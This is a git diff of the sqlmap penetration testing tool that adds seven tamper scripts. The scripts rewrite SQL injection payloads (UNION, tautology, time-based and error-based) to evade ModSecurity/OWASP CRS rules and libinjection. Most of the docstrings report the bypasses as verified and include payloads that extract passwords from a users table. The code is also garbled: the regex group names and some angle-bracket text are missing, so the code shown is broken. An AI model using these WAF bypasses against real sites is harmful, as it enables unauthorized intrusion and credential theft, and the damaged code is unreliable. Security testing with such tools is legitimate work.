diff --git a/lib/core/settings.py b/lib/core/settings.py index ffe1c7f16..8b68e5cdb 100644 --- a/lib/core/settings.py +++ b/lib/core/settings.py @@ -20,7 +20,7 @@ from lib.core.enums import OS from thirdparty import six # sqlmap version (...) -VERSION = "1.10.8.40" +VERSION = "1.10.8.41" TYPE = "dev" if VERSION.count('.') > 2 and VERSION.split('.')[-1] != '0' else "stable" TYPE_COLORS = {"dev": 33, "stable": 90, "pip": 34} VERSION_STRING = "sqlmap/%s#%s" % ('.'.join(VERSION.split('.')[:-1]) if VERSION.count('.') > 2 and VERSION.split('.')[-1] == '0' else VERSION, TYPE) diff --git a/tamper/castprefix.py b/tamper/castprefix.py new file mode 100644 index 000000000..2ae78ed9d --- /dev/null +++ b/tamper/castprefix.py @@ -0,0 +1,58 @@ +#!/usr/bin/env python + +""" +Copyright (c) 2006-2026 sqlmap developers (https://sqlmap.org) +See the file 'LICENSE' for copying permission +""" + +import re + +from lib.core.enums import PRIORITY + +__priority__ = PRIORITY.HIGHEST + +def dependencies(): + pass + +def tamper(payload, **kwargs): + """ + Wraps a leading numeric value into a CAST() call (e.g. -1 UNION ... -> cast(-1 as decimal) UNION ...) + + Requirement: + * MySQL + * MariaDB + * PostgreSQL + * Microsoft SQL Server + + Tested against: + * MySQL 5.5.62, 5.7.44, 8.0.36, 8.0.46, 8.4.9, 9.4.0 + * Percona 8.0.46 + * MariaDB 10.7.8, 10.11.14, 11.4.12, 11.8.8, 12.0.2 + * PostgreSQL 13.23, 17.11 + * Microsoft SQL Server 2022 + + Notes: + * Useful to bypass web application firewalls, verified against ModSecurity v3 with the + OWASP CRS (paranoia level 1, blocking mode), where it takes the tautology, + boolean-based, error-based and time-based payloads to 0 anomaly points and they are + answered with HTTP 200 + * The OWASP CRS rule 942360 is anchored with '^[\\W\\d]+\\s*?', so it can only + match when the payload starts with non-word characters or digits. Starting it with a + letter instead makes the rule fail at the first position + * Rated benign by libinjection 4.0.0 as well, which is CRS rule 942100 + * 'decimal' is used as the target type because it is the one spelling accepted by all + of MySQL, MariaDB, PostgreSQL and Microsoft SQL Server ('signed' is MySQL only, + 'int' is rejected by MySQL), while the numeric value itself is left unchanged + * For MySQL only, tamper script 'odbcbrace' achieves the same with a shorter prefix + + >>> tamper('-1 UNION ALL SELECT NULL,NULL-- -') + 'cast(-1 as decimal) UNION ALL SELECT NULL,NULL-- -' + >>> tamper('1 AND SLEEP(5)') + 'cast(1 as decimal) AND SLEEP(5)' + >>> tamper('-4162 OR 1=1#') + 'cast(-4162 as decimal) OR 1=1#' + >>> tamper("' OR 1=1-- -") + "' OR 1=1-- -" + """ + + return re.sub(r"\A(?P[+-]?\d+)(?![\w.])", r"cast(\g as decimal)", payload) if payload else payload diff --git a/tamper/mid2leftright.py b/tamper/mid2leftright.py new file mode 100644 index 000000000..fc013282c --- /dev/null +++ b/tamper/mid2leftright.py @@ -0,0 +1,68 @@ +#!/usr/bin/env python + +""" +Copyright (c) 2006-2026 sqlmap developers (https://sqlmap.org) +See the file 'LICENSE' for copying permission +""" + +import os +import re + +from lib.core.common import singleTimeWarnMessage +from lib.core.enums import DBMS +from lib.core.enums import PRIORITY + +__priority__ = PRIORITY.HIGHEST + +def dependencies(): + singleTimeWarnMessage("tamper script '%s' is only meant to be run against %s" % (os.path.basename(__file__).split(".")[0], DBMS.MYSQL)) + +def tamper(payload, **kwargs): + """ + Replaces (MySQL) instances like 'MID(A, B, C)' with 'RIGHT(LEFT(A, B+C-1), C)' counterpart + + Requirement: + * MySQL + * MariaDB + + Tested against: + * MySQL 5.5.62, 5.7.44, 8.0.36, 8.0.46, 8.4.9, 9.4.0 + * Percona 8.0.46 + * MariaDB 10.7.8, 10.11.14, 11.4.12, 11.8.8, 12.0.2 + + Notes: + * Useful to bypass web application firewalls, as the OWASP CRS rule 942151 (added in + CRS v4) blacklists a long list of SQL function names, MID, SUBSTR and SUBSTRING + among them, while LEFT and RIGHT are not on that list + * Verified against ModSecurity v3 with the OWASP CRS v4.25.0 (paranoia level 1, + blocking mode), where 'LEFT((SELECT pw FROM users LIMIT 1),1)=0x73' and + 'RIGHT(LEFT((SELECT pw FROM users LIMIT 1),3),1)=0x63' are both answered with + HTTP 200 and still work on all tested engines + * Note that ORD() and ASCII() are on that same blacklist, so payload shapes comparing + the extracted character directly (rather than its code point) are the ones helped + * Existing tamper script 'substring2leftright' does not apply here, as it only + rewrites the PostgreSQL 'SUBSTRING(A FROM B FOR C)' spelling + * Combine it with tamper script 'castprefix' to also clear rule 942360, e.g. + --tamper=mid2leftright,castprefix + + >>> tamper('MID(pw, 1, 1)') + 'RIGHT(LEFT(pw, 1), 1)' + >>> tamper('SUBSTRING(pw, 2, 3)') + 'RIGHT(LEFT(pw, 4), 3)' + >>> tamper('1 AND SUBSTR((SELECT pw FROM users LIMIT 1),1,1)=0x73') + '1 AND RIGHT(LEFT((SELECT pw FROM users LIMIT 1),1),1)=0x73' + >>> tamper('1 AND 1=1') + '1 AND 1=1' + """ + + def _(match): + pos, length = match.group("pos").strip(), match.group("len").strip() + + if pos.isdigit() and length.isdigit(): + end = str(int(pos) + int(length) - 1) + else: + end = "%s+%s-1" % (pos, length) + + return "RIGHT(LEFT(%s,%s%s),%s%s)" % (match.group("expr"), match.group("sp1"), end, match.group("sp2"), length) + + return re.sub(r"(?i)\b(?:MID|SUBSTRING|SUBSTR)\(\s*(?P(?:[^()]|\([^()]*\))+?)\s*,(?P\s*)(?P[^,()]+),(?P\s*)(?P[^,()]+)\)", _, payload) if payload else payload diff --git a/tamper/mssqlnosemicolon.py b/tamper/mssqlnosemicolon.py new file mode 100644 index 000000000..8fddbb581 --- /dev/null +++ b/tamper/mssqlnosemicolon.py @@ -0,0 +1,36 @@ +#!/usr/bin/env python + +""" +Copyright (c) 2006-2026 sqlmap developers (https://sqlmap.org) +See the file 'LICENSE' for copying permission +""" + +import os +import re + +from lib.core.common import singleTimeWarnMessage +from lib.core.enums import DBMS +from lib.core.enums import PRIORITY + +__priority__ = PRIORITY.HIGHEST + +def dependencies(): + singleTimeWarnMessage("tamper script '%s' is only meant to be run against %s" % (os.path.basename(__file__).split(".")[0], DBMS.MSSQL)) + +def tamper(payload, **kwargs): + """ + Replaces (MsSQL) statement separator ';' with a blank character + + Notes: + * Useful to bypass filters/WAFs blocking the ';' character, as + Transact-SQL does not require any separator between statements + + >>> tamper(";WAITFOR DELAY '0:0:5'--") + " WAITFOR DELAY '0:0:5'--" + >>> tamper(";DECLARE @x CHAR(9);SET @x=0x303a303a35;WAITFOR DELAY @x") + ' DECLARE @x CHAR(9) SET @x=0x303a303a35 WAITFOR DELAY @x' + >>> tamper("1' AND 'a'='a") + "1' AND 'a'='a" + """ + + return re.sub(r";(?=\s*(?:WAITFOR|DECLARE|SET|EXEC(?:UTE)?|SELECT|INSERT|UPDATE|DELETE|CREATE|DROP|ALTER|TRUNCATE|BEGIN|IF|WHILE|PRINT|USE|GRANT|REVOKE|BACKUP|RESTORE|RECONFIGURE|SHUTDOWN|WITH)\b)", ' ', payload, flags=re.I) if payload else payload diff --git a/tamper/odbcbrace.py b/tamper/odbcbrace.py new file mode 100644 index 000000000..d8653c529 --- /dev/null +++ b/tamper/odbcbrace.py @@ -0,0 +1,70 @@ +#!/usr/bin/env python + +""" +Copyright (c) 2006-2026 sqlmap developers (https://sqlmap.org) +See the file 'LICENSE' for copying permission +""" + +import os +import re + +from lib.core.common import singleTimeWarnMessage +from lib.core.enums import DBMS +from lib.core.enums import PRIORITY + +__priority__ = PRIORITY.HIGHEST + +def dependencies(): + singleTimeWarnMessage("tamper script '%s' is only meant to be run against %s" % (os.path.basename(__file__).split(".")[0], DBMS.MYSQL)) + +def tamper(payload, **kwargs): + """ + Prepends a (MySQL) ODBC escape sequence to a numeric payload (e.g. -1 UNION ... -> {x !0}*-1 UNION ...) + + Requirement: + * MySQL + * MariaDB + + Tested against: + * MySQL 5.5.62, 5.7.44, 8.0.46, 8.4.9 + * MariaDB 10.7.8, 10.11.14, 11.8.8 + + Notes: + * Useful to bypass web application firewalls using libinjection (e.g. ModSecurity with + the OWASP CRS), still effective against libinjection 4.0.0 + * Verified against ModSecurity v3 with the OWASP CRS (paranoia level 1, blocking mode), + where it takes the boolean-based and error-based payloads down to 0 anomaly points + and they are answered with HTTP 200, on all of MySQL 5.5-9.4, Percona and + MariaDB 10.7-12.0, e.g. + {x !0}*1 AND SUBSTR((SELECT pw FROM users LIMIT 1),1,1)=0x73 + {x !0}*1 AND EXTRACTVALUE(1,CONCAT(0x7e,(SELECT pw FROM users LIMIT 1))) + Time-based payloads are not helped, as SLEEP() is matched by a separate rule + * MySQL accepts the undocumented ODBC escape sequence '{ }' as a plain + expression anywhere an expression is allowed, discarding the identifier, hence + '{x !0}' is simply 1 and '{x !0}*' preserves the original numeric value + * libinjection folds away a left brace followed by a bareword ("weird ODBC / MYSQL + {foo expr} --> expr") and restarts folding, so the fingerprint of the remaining + payload no longer matches its database and the whole payload is rated benign + * The inner expression has to start with an unary operator, as '{x 1}' is still being + detected, while '{x !0}' is not + * The brace has to lead the payload, hence only payloads starting with a number are + being processed (i.e. numeric injection points), while payloads starting with a + quote character are deliberately left untouched, as those are still being detected + * Against ModSecurity with the OWASP CRS this additionally clears rule 942360 + '^[\\W\\d]+\\s*?', as the leading '{' is followed by a word character. + Combine it with tamper script 'uniontable' (which clears 942270) to get a UNION + payload through: --tamper=uniontable,odbcbrace + + >>> tamper('-1 UNION ALL SELECT NULL,CONCAT(0x716b6a7671,0x41,0x7170707671),NULL-- -') + '{x !0}*-1 UNION ALL SELECT NULL,CONCAT(0x716b6a7671,0x41,0x7170707671),NULL-- -' + >>> tamper('1 AND 5=5') + '{x !0}*1 AND 5=5' + >>> tamper('1 AND EXTRACTVALUE(1,CONCAT(0x7e,(SELECT pw FROM users LIMIT 1)))') + '{x !0}*1 AND EXTRACTVALUE(1,CONCAT(0x7e,(SELECT pw FROM users LIMIT 1)))' + >>> tamper('-4162 OR 1=1#') + '{x !0}*-4162 OR 1=1#' + >>> tamper("' UNION ALL SELECT NULL-- -") + "' UNION ALL SELECT NULL-- -" + """ + + return re.sub(r"\A(?P[+-]?\d+)(?![\w.])", r"{x !0}*\g", payload) if payload else payload diff --git a/tamper/quote2ltat.py b/tamper/quote2ltat.py new file mode 100644 index 000000000..d503b912d --- /dev/null +++ b/tamper/quote2ltat.py @@ -0,0 +1,55 @@ +#!/usr/bin/env python + +""" +Copyright (c) 2006-2026 sqlmap developers (https://sqlmap.org) +See the file 'LICENSE' for copying permission +""" + +import os +import re + +from lib.core.common import singleTimeWarnMessage +from lib.core.enums import DBMS +from lib.core.enums import PRIORITY + +__priority__ = PRIORITY.HIGHEST + +def dependencies(): + singleTimeWarnMessage("tamper script '%s' is only meant to be run against %s" % (os.path.basename(__file__).split(".")[0], DBMS.MYSQL)) + +def tamper(payload, **kwargs): + """ + Adds '<@' right after a leading single quote followed by OR (e.g. ' OR 1=1-- - -> '<@ OR 1=1-- -) + + Requirement: + * MySQL + + Tested against: + * MySQL 5.5.62, 5.7.44, 8.0.36, 8.0.46, 8.4.9, 9.4.0 + * Percona 8.0.46 + + Notes: + * Useful to bypass web application firewalls in single-quoted injection points. For + those, the only OWASP CRS rule that fires on a plain tautology is 942100 (i.e. + libinjection), and libinjection does not model the '<@' sequence, so the resulting + payload is rated benign + * Verified against ModSecurity v3 with the OWASP CRS 3.3.10, ModSecurity v2 with the + OWASP CRS 4.25.0 and Coraza with the CRS development branch (v4.29.0), all of them + answering with HTTP 200 + * MySQL lexes the '@' as an (empty) user variable, hence ''<@ evaluates to NULL and the + following OR still decides the predicate, e.g. "name=''<@ OR 1=1-- -" is a tautology + * Only payloads where the quote is followed by OR (or ||) are processed, as NULL AND + is NULL and would silently break AND based payloads + * MariaDB rejects the sequence, hence MySQL and Percona only + + >>> tamper("' OR 1=1-- -") + "'<@ OR 1=1-- -" + >>> tamper("' OR LEFT((SELECT pw FROM users LIMIT 1),1)=0x73-- -") + "'<@ OR LEFT((SELECT pw FROM users LIMIT 1),1)=0x73-- -" + >>> tamper("' AND 1=1-- -") + "' AND 1=1-- -" + >>> tamper('-1 OR 1=1-- -') + '-1 OR 1=1-- -' + """ + + return re.sub(r"(?i)\A'\s*(?=(?:OR|\|\|)\b)", "'<@ ", payload) if payload else payload diff --git a/tamper/sleep2hex.py b/tamper/sleep2hex.py new file mode 100644 index 000000000..7a895ff62 --- /dev/null +++ b/tamper/sleep2hex.py @@ -0,0 +1,55 @@ +#!/usr/bin/env python + +""" +Copyright (c) 2006-2026 sqlmap developers (https://sqlmap.org) +See the file 'LICENSE' for copying permission +""" + +import os +import re + +from lib.core.common import singleTimeWarnMessage +from lib.core.enums import DBMS +from lib.core.enums import PRIORITY + +__priority__ = PRIORITY.HIGHEST + +def dependencies(): + singleTimeWarnMessage("tamper script '%s' is only meant to be run against %s" % (os.path.basename(__file__).split(".")[0], DBMS.MYSQL)) + +def tamper(payload, **kwargs): + """ + Replaces (MySQL) instances like 'SLEEP(5)' with 'SLEEP(0x5)' counterpart + + Requirement: + * MySQL + * MariaDB + + Tested against: + * MySQL 5.5.62, 5.7.44, 8.0.36, 8.0.46, 8.4.9, 9.4.0 + * Percona 8.0.46 + * MariaDB 10.7.8, 10.11.14, 11.4.12, 11.8.8, 12.0.2 + + Notes: + * Useful to bypass web application firewalls, as the OWASP CRS rule 942160 + '(?i:sleep\\(\\s*?\\d*?\\s*?\\)|benchmark\\(.*?\\,.*?\\))' only matches a run of plain + decimal digits between the parentheses, while MySQL happily accepts a hexadecimal + literal there + * Verified against ModSecurity v3 with the OWASP CRS (paranoia level 1, blocking mode), + where 'SLEEP(3)' scores 5 anomaly points and is blocked, while 'SLEEP(0x3)' scores 0 + and is answered with HTTP 200, the delay still being applied on all tested engines + * Combine it with tamper script 'odbcbrace' to also clear rule 942100 (libinjection), + e.g. --tamper=sleep2hex,odbcbrace + * 'SLEEP(5.0)' works just as well, for the same reason + + >>> tamper('1 AND SLEEP(5)') + '1 AND SLEEP(0x5)' + >>> tamper('1 AND (SELECT SLEEP( 12 ))') + '1 AND (SELECT SLEEP(0xc))' + >>> tamper('1 AND SLEEP(0)') + '1 AND SLEEP(0x0)' + >>> tamper('1 AND 1=1') + '1 AND 1=1' + """ + + return re.sub(r"(?i)\bSLEEP\(\s*(\d+)\s*\)", lambda match: "SLEEP(%s)" % hex(int(match.group(1))), payload) if payload else payload diff --git a/tamper/uniontable.py b/tamper/uniontable.py new file mode 100644 index 000000000..c3d5dd144 --- /dev/null +++ b/tamper/uniontable.py @@ -0,0 +1,90 @@ +#!/usr/bin/env python + +""" +Copyright (c) 2006-2026 sqlmap developers (https://sqlmap.org) +See the file 'LICENSE' for copying permission +""" + +import os +import re + +from lib.core.common import singleTimeWarnMessage +from lib.core.enums import DBMS +from lib.core.enums import PRIORITY + +__priority__ = PRIORITY.HIGHEST + +def dependencies(): + singleTimeWarnMessage("tamper script '%s' is only meant to be run against %s" % (os.path.basename(__file__).split(".")[0], DBMS.MYSQL)) + +def tamper(payload, **kwargs): + """ + Replaces UNION SELECT * FROM with the (MySQL) explicit table statement UNION TABLE
+ + Requirement: + * MySQL >= 8.0.19 + + Tested against: + * MySQL 8.0.36, 8.0.46, 8.4.9, 9.4.0 + * Percona 8.0.46 + + Notes: + * Useful to bypass web application firewalls, as the resulting payload contains neither + the SELECT nor the FROM keyword. Verified against ModSecurity v3 with the OWASP CRS + (paranoia level 1, blocking mode), where the plain counterpart scores 20 anomaly + points and is blocked, while the rewritten payload scores 0 and is answered with + HTTP 200 + * The rule doing most of the work there is 942270 '(?i)union.*?select.*?from', which + needs all three keywords in that order. TABLE
is a complete query block on + its own (sql_yacc.yy query_primary has exactly three alternatives: SELECT, VALUES and + TABLE), so the branch carries none of them + * Also rated benign by libinjection 4.0.0, which is CRS rule 942100 + * TABLE
is strictly defined as SELECT * FROM
, hence only a bare '*' + column list is rewritten. Payloads carrying an explicit column list are deliberately + left untouched, as TABLE can neither project columns nor carry the concatenated + delimiters used for retrieving the query output + * Trailing ORDER BY and LIMIT clauses are supported by TABLE and are kept as they are, + while a WHERE clause is not, hence such payloads are deliberately left untouched + * Both the UNION branch form and the parenthesized subquery form are rewritten + * On its own the rewritten payload still trips CRS rule 942360 + '^[\\W\\d]+\\s*?' when it starts with a bare number. Chaining it with + tamper script 'odbcbrace' clears that too: --tamper=uniontable,odbcbrace + * MariaDB does not implement the TABLE statement at all + + >>> tamper('-1 UNION ALL SELECT * FROM users-- -') + '-1 UNION ALL TABLE users-- -' + >>> tamper('-1 UNION SELECT * FROM `mysql`.`user`#') + '-1 UNION TABLE `mysql`.`user`#' + >>> tamper('-1 UNION ALL SELECT * FROM users ORDER BY 1 LIMIT 1-- -') + '-1 UNION ALL TABLE users ORDER BY 1 LIMIT 1-- -' + >>> tamper('-1 AND (SELECT * FROM one)=0x41-- -') + '-1 AND (TABLE one)=0x41-- -' + >>> tamper('-1 UNION ALL SELECT NULL,CONCAT(0x716b6a7671,0x41,0x7170707671),NULL FROM users-- -') + '-1 UNION ALL SELECT NULL,CONCAT(0x716b6a7671,0x41,0x7170707671),NULL FROM users-- -' + >>> tamper('-1 UNION SELECT * FROM users WHERE id=1-- -') + '-1 UNION SELECT * FROM users WHERE id=1-- -' + """ + + def _union(match): + tail = (match.group("tail") or "").strip() + + if tail and not re.match(r"(?i)\A(?:ORDER\s+BY|LIMIT)\b", tail): + return match.group(0) + + return "%s%s TABLE %s%s" % (match.group("union"), match.group("all") or "", match.group("table"), (" %s" % tail) if tail else "") + + def _subquery(match): + tail = (match.group("tail") or "").strip() + + if tail and not re.match(r"(?i)\A(?:ORDER\s+BY|LIMIT)\b", tail): + return match.group(0) + + return "(TABLE %s%s)" % (match.group("table"), (" %s" % tail) if tail else "") + + retVal = payload + + if retVal: + retVal = re.sub(r"(?i)(?PUNION)(?P\s+ALL)?\s+SELECT\s+\*\s+FROM\s+(?P
`[^`]+`(?:\.`[^`]+`)?|\w+(?:\.\w+)?)(?P[\s\S]*?)(?=(?:--|#|/\*)|\Z)", _union, retVal) + retVal = re.sub(r"(?i)\(\s*SELECT\s+\*\s+FROM\s+(?P
`[^`]+`(?:\.`[^`]+`)?|\w+(?:\.\w+)?)(?P[^()]*?)\s*\)", _subquery, retVal) + + return retVal